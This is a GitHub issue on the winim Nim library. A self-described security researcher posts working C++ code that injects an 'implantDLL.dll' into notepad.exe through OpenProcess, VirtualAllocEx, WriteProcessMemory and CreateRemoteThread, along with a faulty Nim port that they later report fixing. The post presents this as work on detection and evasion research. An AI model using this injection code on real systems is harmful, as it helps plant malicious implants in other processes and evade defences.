khchen / winim

Windows API, COM, and CLR Module for Nim

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

How do I get this right?

sdcampbell opened this issue · comments

First, thank you so much for your work on winim.

I'm a security researcher and I'm working to rewrite some C/C++ process injection methods in Nim while I also document detections and work on evasion and further detection methods. There are plenty of examples on the net showing how to inject shellcode, but I haven't found any that show how to inject a dll on disk. Would you please help me figure out what I'm doing wrong?

I'm starting with this C++ code that works:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int main(int argc, char *argv[]) {
	
	HANDLE pHandle;
	PVOID remBuf;
	PTHREAD_START_ROUTINE pLoadLibrary = NULL;
	char dll[] = "C:\\path\\to\\implantDLL.dll";
	char target[] = "notepad.exe";
	int pid = 0;
	
	
	pid = FindTarget(target);
	if ( pid == 0) {
		printf("Target NOT FOUND! Exiting.\n");
		return -1;
	}

	printf("Target PID: [ %d ]\nInjecting...", pid);

	pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

	pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

	if (pHandle != NULL) {
		remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);	
	
		WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

		CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
		printf("done!\nremBuf addr = %p\n", remBuf);

		CloseHandle(pHandle); 
	}
	else {
		printf("OpenProcess failed! Exiting.\n");
		return -2;
	}
}

This is my Nim code:

# Imports
import process
import winim
import osproc

# GetProcAddress of LoadLibraryA
let pLoadLibrary = GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

# Get process PID
var pid = getPid("notepad.exe")

# pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if pid == 0: # Notepad isn't open so let's open it
    let tProcess = startProcess("notepad.exe")
    pid = tProcess.processID
    tProcess.suspend() # That's handy!
    defer: tProcess.close()

echo "Notepad PID = ", pid

let pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](pid))

# remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);
let dll = "C:\Payloads\ProcInjection\testDLL.dll"
let remBuf = VirtualAllocEx(pHandle, NULL, cast[SIZE_T](len(dll)), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)



# WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(pHandle, remBuf, unsafeAddr dll, cast[SIZE_T](len(dll)), addr bytesWritten)

echo "Bytes Written: ", bytesWritten

# CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
var lpThreadId: LPDWORD
let tHandle = CreateRemoteThread(pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](pLoadLibrary), NULL, 0, lpThreadId)



CloseHandle(pHandle)
#CloseHandle(tHandle)
echo "wSuccess: ", wSuccess
echo "tHandle: ", tHandle
echo "lpThreadId: ", repr(lpThreadId)
echo "Press enter to continue..."
var input = readLine(stdin)

From my own troubleshooting I think that the CreateRemoteThread call is where it's failing because after the call, IpThreadId is nil.

Thank you

I figured it out. I had some parameters wrong in CreateRemoteThread. I found this reference which worked: https://github.com/waldo-irc/NimMusings/blob/main/BasicInjection.nim

I don't know why that didn't turn up in my searches yesterday. :)

Thank you, please close this issue.